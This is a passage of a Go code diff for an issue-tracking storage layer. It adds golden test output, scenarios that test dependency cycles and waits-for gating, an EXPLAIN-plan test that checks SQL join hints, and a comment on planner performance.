b/internal/storage/createbatchequiv/golden/waitsfor.json @@ -0,0 +1,91 @@ +{ + "tables": { + "bd_events_journal": { + "rows": 64, + "sha256": "08e33124a60461f797f6adb3879aef5856d87e8c65f4822a5bc03371a4286ca9" + }, + "child_counters": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "comments": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "dependencies": { + "rows": 13, + "sha256": "2c5bc58085525b83b5c605eb0d8b7133a836e5942703ccbfa75836f0888c51d7" + }, + "events": { + "rows": 19, + "sha256": "a0d5705e9caedbc0a65fae2b83dc63c54bc28db94db06720fd66900c3637b95e" + }, + "events_ids": { + "rows": 1, + "sha256": "71f50822355a5053b49470722d85d15a43d49c40c68d01fc445d2dfc434b8374" + }, + "issue_versions": { + "rows": 15, + "sha256": "a48e013d03587db247d9c2233588df4dd1062d0bbc1f53a3e119f5ad32ae1007" + }, + "issues": { + "rows": 14, + "sha256": "f9b81b9679a6dbc0b33aae01b874f891c9cbe1edf7c6ef4045f648a86df7e0a9" + }, + "issues_updated_at": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "labels": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "wisp_dependencies": { + "rows": 8, + "sha256": "888ec76705c866485ce6ffb497078f8f646cfd5c977c03bf3b39c8490754e263" + }, + "wisp_events": { + "rows": 11, + "sha256": "36f1a8406a6d0ced31d4ba46450d8a667890b932f9dbfd5d94a5abcfa777de68" + }, + "wisp_labels": { + "rows": 0, + "sha256": "e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855" + }, + "wisps": { + "rows": 9, + "sha256": "6dd3657aa5b0df03a1c87704718de39f796fb25db53a3a46c06db3546f9a7c73" + } + }, + "skipped": [ + "add eq-fwc -parent-child-\u003e eq-fs : \u003cnil\u003e", + "add eq-fic -parent-child-\u003e eq-fws : \u003cnil\u003e", + "add eq-fw-i-legacy -waits-for-\u003e eq-fs {}: \u003cnil\u003e", + "add eq-fw-w-legacy -waits-for-\u003e eq-fws {}: \u003cnil\u003e", + "add eq-fx-i-legacy -waits-for-\u003e eq-fs {}: \u003cnil\u003e", + "add eq-fw-i-all -waits-for-\u003e eq-fs {\"gate\":\"all-children\"}: \u003cnil\u003e", + "add eq-fw-w-all -waits-for-\u003e eq-fws {\"gate\":\"all-children\"}: \u003cnil\u003e", + "add eq-fx-i-all -waits-for-\u003e eq-fs {\"gate\":\"all-children\"}: \u003cnil\u003e", + "add eq-fw-i-any -waits-for-\u003e eq-fs {\"gate\":\"any-children\"}: \u003cnil\u003e", + "add eq-fw-w-any -waits-for-\u003e eq-fws {\"gate\":\"any-children\"}: \u003cnil\u003e", + "add eq-fx-i-any -waits-for-\u003e eq-fs {\"gate\":\"any-children\"}: \u003cnil\u003e", + "add eq-fw-i-also -waits-for-\u003e eq-fs {\"also_blocks\":\"true\"}: \u003cnil\u003e", + "add eq-fw-w-also -waits-for-\u003e eq-fws {\"also_blocks\":\"true\"}: \u003cnil\u003e", + "add eq-fx-i-also -waits-for-\u003e eq-fs {\"also_blocks\":\"true\"}: \u003cnil\u003e", + "add eq-fw-i-anyalso -waits-for-\u003e eq-fs {\"gate\":\"any-children\",\"also_blocks\":\"true\"}: \u003cnil\u003e", + "add eq-fw-w-anyalso -waits-for-\u003e eq-fws {\"gate\":\"any-children\",\"also_blocks\":\"true\"}: \u003cnil\u003e", + "add eq-fx-i-anyalso -waits-for-\u003e eq-fs {\"gate\":\"any-children\",\"also_blocks\":\"true\"}: \u003cnil\u003e", + "after adds: eq-fic=open/0 eq-fs.c1=open/0 eq-fs.c2=closed/0 eq-fs=open/0 eq-fw-i-all=open/1 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/1 eq-fw-i-legacy=open/1 eq-fw-w-all=open/1 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/1 eq-fwc=open/0 eq-fws.c1=open/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/1 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/1 eq-fx-i-legacy=open/1", + "close fs.c1: eq-fic=open/0 eq-fs.c1=closed/0 eq-fs.c2=closed/0 eq-fs=open/0 eq-fw-i-all=open/1 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/1 eq-fw-i-legacy=open/1 eq-fw-w-all=open/1 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/1 eq-fwc=open/0 eq-fws.c1=open/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/1 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/1 eq-fx-i-legacy=open/1", + "close fwc: eq-fic=open/0 eq-fs.c1=closed/0 eq-fs.c2=closed/0 eq-fs=open/0 eq-fw-i-all=open/0 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/1 eq-fw-i-legacy=open/0 eq-fw-w-all=open/1 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/1 eq-fwc=closed/0 eq-fws.c1=open/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/0 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/1 eq-fx-i-legacy=open/0", + "close fws.c1: eq-fic=open/0 eq-fs.c1=closed/0 eq-fs.c2=closed/0 eq-fs=open/0 eq-fw-i-all=open/0 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/1 eq-fw-i-legacy=open/0 eq-fw-w-all=open/1 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/1 eq-fwc=closed/0 eq-fws.c1=closed/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/0 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/1 eq-fx-i-legacy=open/0", + "reopen fs.c1: eq-fic=open/0 eq-fs.c1=open/0 eq-fs.c2=closed/0 eq-fs=open/0 eq-fw-i-all=open/1 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/1 eq-fw-i-legacy=open/1 eq-fw-w-all=open/1 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/1 eq-fwc=closed/0 eq-fws.c1=closed/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/1 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/1 eq-fx-i-legacy=open/1", + "close fic: eq-fic=closed/0 eq-fs.c1=open/0 eq-fs.c2=closed/0 eq-fs=open/0 eq-fw-i-all=open/1 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/1 eq-fw-i-legacy=open/1 eq-fw-w-all=open/0 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/0 eq-fwc=closed/0 eq-fws.c1=closed/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/1 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/1 eq-fx-i-legacy=open/1", + "close fs (spawner): eq-fic=closed/0 eq-fs.c1=open/0 eq-fs.c2=closed/0 eq-fs=closed/0 eq-fw-i-all=open/1 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/0 eq-fw-i-legacy=open/1 eq-fw-w-all=open/0 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/0 eq-fwc=closed/0 eq-fws.c1=closed/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/1 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/0 eq-fx-i-legacy=open/1", + "raw: reopen every child, then scoped recompute: eq-fic=open/0 eq-fs.c1=open/0 eq-fs.c2=open/0 eq-fs=closed/0 eq-fw-i-all=open/1 eq-fw-i-also=open/1 eq-fw-i-any=open/1 eq-fw-i-anyalso=open/1 eq-fw-i-legacy=open/1 eq-fw-w-all=open/1 eq-fw-w-also=open/1 eq-fw-w-any=open/1 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/1 eq-fwc=open/0 eq-fws.c1=open/0 eq-fws.c2=open/0 eq-fws=open/0 eq-fx-i-all=open/1 eq-fx-i-also=open/1 eq-fx-i-any=open/1 eq-fx-i-anyalso=open/1 eq-fx-i-legacy=open/1", + "raw: close the wisp children and fs.c2, plant stale flags, full repair: eq-fic=open/0 eq-fs.c1=open/0 eq-fs.c2=closed/0 eq-fs=closed/0 eq-fw-i-all=open/1 eq-fw-i-also=open/1 eq-fw-i-any=open/0 eq-fw-i-anyalso=open/0 eq-fw-i-legacy=open/1 eq-fw-w-all=open/1 eq-fw-w-also=open/1 eq-fw-w-any=open/0 eq-fw-w-anyalso=open/1 eq-fw-w-legacy=open/1 eq-fwc=closed/0 eq-fws.c1=closed/0 eq-fws.c2=closed/0 eq-fws=open/0 eq-fx-i-all=open/1 eq-fx-i-also=open/1 eq-fx-i-any=open/0 eq-fx-i-anyalso=open/0 eq-fx-i-legacy=open/1" + ], + "stale": null, + "changed": null, + "counter": null +} diff --git a/internal/storage/createbatchequiv/scenario_depadd.go b/internal/storage/createbatchequiv/scenario_depadd.go new file mode 100644 index 000000000..198e67b69 --- /dev/null +++ b/internal/storage/createbatchequiv/scenario_depadd.go @@ -0,0 +1,136 @@ +package createbatchequiv + +import ( + "context" + "database/sql" + "fmt" + "testing" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// The depadd scenario drives the single-edge dependency paths — the +// reachability and hierarchy probes AddDependencyInTx, the domain stack's +// HasCycle / ValidateBlockingHierarchy and apply-batch's end gate share, and +// AddDependencyInTx itself — over a seeded graph that mixes both dependency +// tables, every target column, scheduling and non-scheduling edge types, a +// parent-child hierarchy, and closed rows. Probe answers and refusals are +// recorded verbatim; accepted edges land in the compared tables. + +func seedDepAdd() []*types.Issue { + withDeps := func(is *types.Issue, deps ...*types.Dependency) *types.Issue { + is.Dependencies = deps + return is + } + wisp := func(is *types.Issue) *types.Issue { + is.Ephemeral = true + return is + } + closed := issue("dc", "closed") + closed.Status = types.StatusClosed + return []*types.Issue{ + issue("de", "epic"), + withDeps(issue("de.1", "child"), dep(id("de.1"), id("de"), types.DepParentChild)), + withDeps(issue("de.1.1", "grandchild"), dep(id("de.1.1"), id("de.1"), types.DepParentChild)), + withDeps(issue("de.2", "second child"), dep(id("de.2"), id("de"), types.DepParentChild), dep(id("de.2"), id("dc"), types.DepBlocks)), + issue("db1", "blocker one"), + withDeps(issue("db2", "blocker two"), dep(id("db2"), id("db1"), types.DepBlocks)), + withDeps(issue("db3", "blocker three"), dep(id("db3"), id("db2"), types.DepBlocks)), + withDeps(issue("db4", "conditional"), dep(id("db4"), id("db3"), types.DepConditionalBlocks)), + withDeps(issue("dr", "related only"), dep(id("dr"), id("db4"), types.DepRelated)), + withDeps(issue("dwf", "waits for"), dep(id("dwf"), id("de.1.1"), types.DepWaitsFor)), + closed, + wisp(issue("dw1", "wisp child of epic")), + wisp(withDeps(issue("dw2", "wisp blocked by wisp"), dep(id("dw2"), id("dw1"), types.DepBlocks))), + withDeps(issue("dx", "issue blocked by wisp"), dep(id("dx"), "external:proj:cap", types.DepBlocks)), + issue("dl", "lone"), + issue("dk1", "legacy cyclic parent one"), + issue("dk2", "legacy cyclic parent two"), + } +} + +// plantParentCycle writes a parent-child 2-cycle (dk1 <-> dk2) straight into +// dependencies, as legacy or merged data can hold even though every write +// path refuses it, so the probes show the walks terminate on stored cycles +// (UNION distinct recursion over unique nodes) and answer across them. +func plantParentCycle(t *testing.T, db *sql.DB) { + t.Helper() + for _, pair := range [][2]string{{id("dk1"), id("dk2")}, {id("dk2"), id("dk1")}} { + if _, err := db.Exec(`INSERT INTO dependencies (id, issue_id, depends_on_issue_id, type, created_by, created_at, metadata) + VALUES (?, ?, ?, 'parent-child', 'legacy', ?, '{}')`, "legacy-"+pair[0]+"-"+pair[1], pair[0], pair[1], fixedAt); err != nil { + t.Fatalf("plant legacy parent cycle: %v", err) + } + } +} + +func depAddNodes() []string { + return []string{ + id("de"), id("de.1"), id("de.1.1"), id("de.2"), id("db1"), id("db2"), id("db3"), id("db4"), + id("dr"), id("dwf"), id("dc"), id("dw1"), id("dw2"), id("dx"), id("dl"), id("dk1"), id("dk2"), + "external:proj:cap", id("dmissing"), + } +} + +// runDepAdd records every probe over every ordered node pair, then adds a +// sequence of edges, recording each result or refusal. +func runDepAdd(ctx context.Context, tx *sql.Tx) ([]string, error) { + var out []string + nodes := depAddNodes() + errText := func(err error) string { + if err == nil { + return "ok" + } + return err.Error() + } + // The cross-plane seed edges: a mixed create batch refuses them. + for _, d := range []*types.Dependency{dep(id("dw1"), id("de"), types.DepParentChild), dep(id("dx"), id("dw2"), types.DepBlocks)} { + if _, err := issueops.AddDependencyInTx(ctx, tx, d, "dep-writer", issueops.AddDependencyOpts{}); err != nil { + return nil, fmt.Errorf("seed %s -> %s: %w", d.IssueID, d.DependsOnID, err) + } + } + for _, u := range nodes { + for _, v := range nodes { + for _, tables := range [][]string{nil, {"dependencies"}, {"wisp_dependencies"}} { + cycle, err := issueops.WouldCreateSchedulingCycleInTx(ctx, tx, u, v, tables) + if err != nil { + return nil, err + } + blocks := &types.Dependency{IssueID: u, DependsOnID: v, Type: types.DepBlocks} + hier := issueops.CheckBlockingHierarchyInTx(ctx, tx, blocks, tables) + cyc := issueops.CheckDependencyCycleInTx(ctx, tx, &types.Dependency{IssueID: u, DependsOnID: v, Type: types.DepParentChild}, tables) + out = append(out, fmt.Sprintf("probe %s -> %s tables=%v: cycle=%v hierarchy=%s cycle-check=%s", u, v, tables, cycle, errText(hier), errText(cyc))) + } + } + } + adds := []*types.Dependency{ + dep(id("db1"), id("db4"), types.DepBlocks), // closes a blocks/conditional cycle + dep(id("db1"), id("dr"), types.DepBlocks), // related is not scheduling: accepted + dep(id("de"), id("de.1.1"), types.DepBlocks), // blocker is a descendant + dep(id("de.1.1"), id("de"), types.DepBlocks), // blocker is an ancestor + dep(id("de.1.1"), id("de.2"), types.DepBlocks), // cousin: accepted + dep(id("de"), id("dw2"), types.DepParentChild), // cycle through the wisp table + dep(id("dw1"), id("dx"), types.DepBlocks), // wisp source: cycle via dx -> dw2 -> dw1 + dep(id("dw2"), id("dl"), types.DepBlocks), // wisp source, accepted + dep(id("dl"), id("dw1"), types.DepConditionalBlocks), // issue -> wisp target: accepted + dep(id("dl"), id("dc"), types.DepBlocks), // closed blocker: accepted, not blocked by it + dep(id("dl"), id("dl"), types.DepBlocks), // self + dep(id("dl"), id("db3"), types.DepWaitsFor), // non-scheduling + dep(id("db1"), id("dl"), types.DepBlocks), // accepted + dep(id("db4"), id("db1"), types.DepParentChild), // shortcut of db4 -> db3 -> db2 -> db1: accepted + dep(id("dmissing"), id("dl"), types.DepBlocks), // missing source + dep(id("dl"), id("dmissing"), types.DepBlocks), // missing target + dep(id("db2"), id("db1"), types.DepRelated), // type conflict with the stored blocks row + dep(id("dr"), "external:proj:other", types.DepBlocks), // external target + dep(id("de.2"), id("de.1"), types.DepParentChild), // re-parent sideways: accepted + dep(id("de.1"), id("de.2"), types.DepBlocks), // blocker is now a parent + dep(id("dk1"), id("dl"), types.DepBlocks), // source on a stored parent cycle: accepted + dep(id("dl"), id("dk2"), types.DepBlocks), // closes a cycle through dk2 -> dk1 -> dl + dep(id("dk2"), id("dk1"), types.DepBlocks), // blocker is (cyclically) an ancestor + } + for _, d := range adds { + _, err := issueops.AddDependencyInTx(ctx, tx, d, "dep-writer", issueops.AddDependencyOpts{EmitEvent: true}) + out = append(out, fmt.Sprintf("add %s -%s-> %s: %s", d.IssueID, d.Type, d.DependsOnID, errText(err))) + } + return out, nil +} diff --git a/internal/storage/createbatchequiv/scenario_waitsfor.go b/internal/storage/createbatchequiv/scenario_waitsfor.go new file mode 100644 index 000000000..583c295fa --- /dev/null +++ b/internal/storage/createbatchequiv/scenario_waitsfor.go @@ -0,0 +1,175 @@ +package createbatchequiv + +import ( + "context" + "database/sql" + "fmt" + "sort" + "strings" + + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/types" +) + +// The waitsfor scenario drives the blocked-state waits-for gate +// (waitsForGateBlockedSQL): an issue spawner and a wisp spawner, each with +// issue and wisp parent-child children, and waiters on each spawner in every +// gate shape (legacy '{}' all-children, explicit all-children, any-children, +// also_blocks). It records every waiter's is_blocked after each step — edge +// adds, child closes and reopens through the store paths, and recomputes +// (scoped and the unscoped full repair) after raw status flips. + +func seedWaitsFor() []*types.Issue { + wisp := func(is *types.Issue) *types.Issue { + is.Ephemeral = true + return is + } + withDeps := func(is *types.Issue, deps ...*types.Dependency) *types.Issue { + is.Dependencies = deps + return is + } + closed := func(is *types.Issue) *types.Issue { + is.Status = types.StatusClosed + return is + } + out := []*types.Issue{ + issue("fs", "issue spawner"), + withDeps(issue("fs.c1", "open child"), dep(id("fs.c1"), id("fs"), types.DepParentChild)), + closed(withDeps(issue("fs.c2", "closed child"), dep(id("fs.c2"), id("fs"), types.DepParentChild))), + wisp(issue("fws", "wisp spawner")), + wisp(withDeps(issue("fws.c1", "open wisp child"), dep(id("fws.c1"), id("fws"), types.DepParentChild))), + closed(wisp(withDeps(issue("fws.c2", "closed wisp child"), dep(id("fws.c2"), id("fws"), types.DepParentChild)))), + wisp(issue("fwc", "wisp child of the issue spawner")), + issue("fic", "issue child of the wisp spawner"), + } + for _, g := range waitsForGates() { + out = append(out, issue("fw-i-"+g.name, "waiter on the issue spawner"), issue("fw-w-"+g.name, "waiter on the wisp spawner")) + out = append(out, wisp(issue("fx-i-"+g.name, "wisp waiter on the issue spawner"))) + } + return out +} + +type waitsForGate struct{ name, metadata string } + +func waitsForGates() []waitsForGate { + return []waitsForGate{ + {"legacy", "{}"}, + {"all", `{"gate":"all-children"}`}, + {"any", `{"gate":"any-children"}`}, + {"also", `{"also_blocks":"true"}`}, + {"anyalso", `{"gate":"any-children","also_blocks":"true"}`}, + } +} + +func runWaitsFor(ctx context.Context, tx *sql.Tx) ([]string, error) { + var out []string + snapshot := func(step string) error { + var rows []string + for _, table := range []string{"issues", "wisps"} { + //nolint:gosec // G201: table is one of two constants. + r, err := tx.QueryContext(ctx, fmt.Sprintf("SELECT id, status, is_blocked FROM %s WHERE id LIKE 'eq-f%%'", table)) + if err != nil { + return err + } + for r.Next() { + var rid, status string + var blocked int + if err := r.Scan(&rid, &status, &blocked); err != nil { + _ = r.Close() + return err + } + rows = append(rows, fmt.Sprintf("%s=%s/%d", rid, status, blocked)) + } + _ = r.Close() + if err := r.Err(); err != nil { + return err + } + } + sort.Strings(rows) + out = append(out, step+": "+strings.Join(rows, " ")) + return nil + } + add := func(d *types.Dependency) { + _, err := issueops.AddDependencyInTx(ctx, tx, d, "gate-writer", issueops.AddDependencyOpts{}) + out = append(out, fmt.Sprintf("add %s -%s-> %s %s: %v", d.IssueID, d.Type, d.DependsOnID, d.Metadata, err)) + } + add(dep(id("fwc"), id("fs"), types.DepParentChild)) + add(dep(id("fic"), id("fws"), types.DepParentChild)) + var waiters, wispWaiters []string + for _, g := range waitsForGates() { + for _, w := range []struct{ waiter, spawner string }{{"fw-i-", "fs"}, {"fw-w-", "fws"}, {"fx-i-", "fs"}} { + d := dep(id(w.waiter+g.name), id(w.spawner), types.DepWaitsFor) + d.Metadata = g.metadata + add(d) + if w.waiter == "fx-i-" { + wispWaiters = append(wispWaiters, d.IssueID) + } else { + waiters = append(waiters, d.IssueID) + } + } + } + if err := snapshot("after adds"); err != nil { + return nil, err + } + steps := []struct { + name string + do func() error + }{ + {"close fs.c1", func() error { + _, err := issueops.CloseIssueInTx(ctx, tx, id("fs.c1"), "done", "gate-writer", "") + return err + }}, + {"close fwc", func() error { + _, err := issueops.CloseIssueInTx(ctx, tx, id("fwc"), "done", "gate-writer", "") + return err + }}, + {"close fws.c1", func() error { + _, err := issueops.CloseIssueInTx(ctx, tx, id("fws.c1"), "done", "gate-writer", "") + return err + }}, + {"reopen fs.c1", func() error { + _, err := issueops.ReopenIssueInTx(ctx, tx, id("fs.c1"), "again", "gate-writer") + return err + }}, + {"close fic", func() error { + _, err := issueops.CloseIssueInTx(ctx, tx, id("fic"), "done", "gate-writer", "") + return err + }}, + {"close fs (spawner)", func() error { + _, err := issueops.CloseIssueInTx(ctx, tx, id("fs"), "done", "gate-writer", "") + return err + }}, + {"raw: reopen every child, then scoped recompute", func() error { + if _, err := tx.ExecContext(ctx, "UPDATE issues SET status = 'open' WHERE id IN (?, ?, ?)", id("fs.c1"), id("fs.c2"), id("fic")); err != nil { + return err + } + if _, err := tx.ExecContext(ctx, "UPDATE wisps SET status = 'open' WHERE id IN (?, ?, ?)", id("fws.c1"), id("fws.c2"), id("fwc")); err != nil { + return err + } + return issueops.RecomputeIsBlockedInTx(ctx, tx, waiters, wispWaiters) + }}, + {"raw: close the wisp children and fs.c2, plant stale flags, full repair", func() error { + if _, err := tx.ExecContext(ctx, "UPDATE wisps SET status = 'closed' WHERE id IN (?, ?, ?)", id("fws.c1"), id("fws.c2"), id("fwc")); err != nil { + return err + } + if _, err := tx.ExecContext(ctx, "UPDATE issues SET status = 'closed' WHERE id = ?", id("fs.c2")); err != nil { + return err + } + if _, err := tx.ExecContext(ctx, "UPDATE issues SET is_blocked = 1 - is_blocked WHERE id LIKE 'eq-fw-%'"); err != nil { + return err + } + _, err := issueops.RecomputeAllIsBlockedInTx(ctx, tx) + return err + }}, + } + for _, st := range steps { + if err := st.do(); err != nil { + out = append(out, st.name+": "+err.Error()) + continue + } + if err := snapshot(st.name); err != nil { + return nil, err + } + } + return out, nil +} diff --git a/internal/storage/embeddeddolt/BUILD.bazel b/internal/storage/embeddeddolt/BUILD.bazel index 9a4057072..8f563a3cb 100644 --- a/internal/storage/embeddeddolt/BUILD.bazel +++ b/internal/storage/embeddeddolt/BUILD.bazel @@ -142,6 +142,7 @@ go_test( "get_issue_test.go", "git_ref_pin_test.go", "graph_counter_contract_test.go", + "graph_walk_plan_test.go", "history_presence_contract_test.go", "history_test.go", "is_blocked_batch_test.go", diff --git a/internal/storage/embeddeddolt/graph_walk_plan_test.go b/internal/storage/embeddeddolt/graph_walk_plan_test.go new file mode 100644 index 000000000..54fcec97c --- /dev/null +++ b/internal/storage/embeddeddolt/graph_walk_plan_test.go @@ -0,0 +1,165 @@ +//go:build cgo + +package embeddeddolt_test + +import ( + "context" + "database/sql" + "strings" + "testing" + + "github.com/steveyegge/beads/internal/storage/batchfixtures" + "github.com/steveyegge/beads/internal/storage/issueops" + "github.com/steveyegge/beads/internal/storage/sqlcount" + "github.com/steveyegge/beads/internal/types" +) + +// statementRecorder is an issueops.DBTX that records every statement the +// production entry points send, so the test can EXPLAIN exactly those (the +// batch-template expansion included) without exporting the builders. +type statementRecorder struct { + issueops.DBTX + stmts []recordedStatement +} + +type recordedStatement struct { + query string + args []any +} + +func (r *statementRecorder) QueryRowContext(ctx context.Context, q string, a ...any) *sql.Row { + r.stmts = append(r.stmts, recordedStatement{q, a}) + return r.DBTX.QueryRowContext(ctx, q, a...) +} + +func (r *statementRecorder) ExecContext(ctx context.Context, q string, a ...any) (sql.Result, error) { + r.stmts = append(r.stmts, recordedStatement{q, a}) + return r.DBTX.ExecContext(ctx, q, a...) +} + +func explainPlan(t *testing.T, tx *sql.Tx, st recordedStatement) string { + t.Helper() + rows, err := tx.QueryContext(context.Background(), "EXPLAIN PLAN "+st.query, st.args...) + if err != nil { + t.Fatalf("EXPLAIN PLAN: %v\n%s", err, st.query) + } + defer rows.Close() + var out []string + for rows.Next() { + var line sql.NullString + if err := rows.Scan(&line); err != nil { + t.Fatal(err) + } + out = append(out, line.String) + } + if err := rows.Err(); err != nil { + t.Fatal(err) + } + plan := strings.Join(out, "\n") + if !strings.Contains(plan, "IndexedTableAccess(") { + t.Skipf("EXPLAIN output not in a recognized Dolt plan format, skipping plan assertions; plan=\n%s", plan) + } + return plan +} + +// TestGraphWalkPlansHonorJoinHints proves the engine honors the +// JOIN_ORDER/LOOKUP_JOIN hints the per-edge reachability walks and the batched +// blocked-state recompute carry — not just that the text is there. Without +// them the embedded planner already plans the cycle walk's (statistics-less) +// wisp_dependencies member as a scan join, and the recompute's legs can be +// driven from an index scan of every open row (the sql-server flip described +// at shouldBeBlockedIDsUnionScopedSQL). A deleted, misspelled, or no longer +// resolvable hint (e.g. a renamed alias) fails here. +func TestGraphWalkPlansHonorJoinHints(t *testing.T) { + skipUnlessEmbeddedDolt(t) + fixture := newPristineEmbeddedDoltFixture(t, "walkplan") + t.Cleanup(func() { closeEmbeddedDoltStore(t, fixture.store) }) + db, cleanup, err := openCountedConn(t.Context(), fixture.dataDir, fixture.database, &sqlcount.Counts{}) + if err != nil { + t.Fatal(err) + } + t.Cleanup(cleanup) + ctx := context.Background() + const n = 2000 + tx, err := db.BeginTx(ctx, nil) + if err != nil { + t.Fatal(err) + } + for _, st := range batchfixtures.LargeGraphInserts("wp", n) { + if _, err := tx.ExecContext(ctx, st.SQL, st.Args...); err != nil { + _ = tx.Rollback() + t.Fatal(err) + } + } + if err := tx.Commit(); err != nil { + t.Fatal(err) + } + tx, err = db.BeginTx(ctx, nil) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = tx.Rollback() }) + id := func(i int) string { return batchfixtures.LargeGraphID("wp", i) } + + t.Run("reachability walks", func(t *testing.T) { + rec := &statementRecorder{DBTX: tx} + if _, err := issueops.WouldCreateSchedulingCycleInTx(ctx, rec, id(n-7), id(n/3), nil); err != nil { + t.Fatal(err) + } + dep := &types.Dependency{IssueID: id(n - 7), DependsOnID: id(n / 3), Type: types.DepBlocks} + if err := issueops.CheckBlockingHierarchyInTx(ctx, rec, dep, nil); err != nil { + t.Fatal(err) + } + if len(rec.stmts) != 3 { + t.Fatalf("recorded %d statements, want 3 (one cycle walk, two ancestor walks)", len(rec.stmts)) + } + for _, st := range rec.stmts { + plan := explainPlan(t, tx, st) + // One recursive member per dependency table, each a lookup join + // from the frontier into that table's issue_id index. + for _, want := range []string{"IndexedTableAccess(dependencies)", "IndexedTableAccess(wisp_dependencies)"} { + if !strings.Contains(plan, want) { + t.Errorf("plan has no %s:\n%s", want, plan) + } + } + if got := strings.Count(plan, "LookupJoin"); got != 2 { + t.Errorf("plan has %d LookupJoin, want 2 (one per recursive member):\n%s", got, plan) + } + if got := strings.Count(plan, "keys: r.node"); got != 2 { + t.Errorf("plan probes the edge tables by the frontier node %d times, want 2:\n%s", got, plan) + } + if strings.Contains(plan, "InnerJoin") || strings.Contains(plan, "HashJoin") || strings.Contains(plan, "MergeJoin") { + t.Errorf("a recursive member is not a lookup join:\n%s", plan) + } + } + }) + + t.Run("blocked-state recompute", func(t *testing.T) { + rec := &statementRecorder{DBTX: tx} + if err := issueops.RecomputeIsBlockedInTx(ctx, rec, []string{id(5), id(77), id(1500)}, nil); err != nil { + t.Fatal(err) + } + checked := 0 + for _, st := range rec.stmts { + if !strings.Contains(st.query, "UPDATE issues") || !strings.Contains(st.query, "UNION") { + continue + } + checked++ + plan := explainPlan(t, tx, st) + if got := strings.Count(plan, "LookupJoin"); got != 4 { + t.Errorf("plan has %d LookupJoin, want 4 (one per joined union leg):\n%s", got, plan) + } + for _, want := range []string{"keys: d.depends_on_issue_id", "keys: d.depends_on_wisp_id"} { + if got := strings.Count(plan, want); got != 2 { + t.Errorf("plan has %q %d times, want 2:\n%s", want, got, plan) + } + } + if strings.Contains(plan, "is_blocked,issues.status") || strings.Contains(plan, "is_blocked,wisps.status") { + t.Errorf("a union leg is driven from an is_blocked/status index scan:\n%s", plan) + } + } + if checked == 0 || checked%2 != 0 { + t.Fatalf("checked %d mark/unmark statements, want a mark and an unmark per fixpoint pass", checked) + } + }) +} diff --git a/internal/storage/issueops/blocked_consistency.go b/internal/storage/issueops/blocked_consistency.go index b44136f0f..7ae4400dd 100644 --- a/internal/storage/issueops/blocked_consistency.go +++ b/internal/storage/issueops/blocked_consistency.go @@ -402,28 +402,48 @@ func shouldBeBlockedIDsUnionSQL(depTable string) string { // single-table derived table is the mergeable shape MySQL-dialect planners // fold back into the outer query; a DISTINCT one is materialized. // +// A scoped union pins each joined leg to drive from the batch's own +// dependency rows and look the target or parent up by primary key +// (JOIN_ORDER/LOOKUP_JOIN hints; on MySQL, JOIN_ORDER is honored — the order +// it forces is the one wanted — and the unknown LOOKUP_JOIN hint is ignored +// with a warning). Left to its cost model, the Dolt sql-server planner +// intermittently — depending on when its background statistics refresh +// lands — turned the issues legs around: scanning every open issue through +// the (is_blocked, status) index and probing dependencies per row. Over an +// import's ~2000-5000 uncommitted issues that is ~3 s per leg and 6-10 s per +// mark/unmark statement, where the lookup plan takes ~0.1 s; one plan flip +// early in an import of 5000 cost most of its 28 minutes and brushed the +// 10 s read timeout. The unscoped form (full repair, doctor count) walks the +// whole table and keeps the planner's choice. TestGraphWalkPlansHonorJoinHints +// (embedded) pins the hinted plans. +// 